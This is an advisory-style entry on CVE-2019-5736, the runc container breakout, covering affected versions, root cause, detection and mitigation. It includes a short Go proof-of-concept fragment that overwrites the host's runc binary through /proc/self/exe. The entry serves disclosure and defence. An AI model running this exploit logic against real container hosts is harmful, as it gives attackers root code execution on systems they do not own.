runc Container Breakout
- Product
- Open Containers Initiative runc (Docker, containerd, Kubernetes, LXC)
- CVE
- CVE-2019-5736
- Disclosed
- 2019-02-11
- CVSS
- 8.6
- Auth
- requires auth / interaction
- CISA KEV
- no
- Affected
- runc through 1.0-rc6 (Docker before 18.09.2), and LXC; affects Kubernetes and other platforms using runc.
- Fixed
- runc commit 0a8e4117 (1.0-rc7), Docker 18.09.2, LXC fixes.
Summary
A container escape found by Adam Iwaniuk and Borys Popławski. A malicious image or a root process in a container can overwrite the host's runc binary, so code runs as root on the host the next time someone runs docker exec or starts a container.
Root cause
When runc enters a container (exec/run), the process temporarily appears in the container's /proc. A container process can open /proc/[runc-pid]/exe (or symlink its entrypoint to /proc/self/exe) to get a handle to the host's runc binary, then reopen it with O_WRONLY once runc exits and overwrite it. The fix makes runc re-exec itself from a sealed memfd copy.
Impact
Root code execution on the container host from inside a container (malicious image or compromised container with root).
Public PoC
// inside the container (as root): replace /bin/sh with #!/proc/self/exe
fd, _ := os.Create("/bin/sh")
fmt.Fprintln(fd, "#!/proc/self/exe")
// wait for host admin to 'docker exec <ctr> /bin/sh' -> runc executes itself
// find runc's pid, grab a read handle to its binary
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(pid)+"/exe", os.O_RDONLY, 0777)
// once runc exits, reopen via /proc/self/fd and overwrite with payload
w, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(int(handle.Fd())), os.O_WRONLY|os.O_TRUNC, 0700)
w.Write([]byte("#!/bin/bash \n" + payload))Source: Frichetten - CVE-2019-5736-PoC
Detection
Check runc --version / docker version; monitor for writes to the runc binary (file integrity monitoring) and container processes opening /proc/*/exe of host-side runc.
Mitigation
Upgrade runc/Docker; run containers as non-root users or with user namespaces; SELinux in enforcing mode blocks the known exploit on RHEL.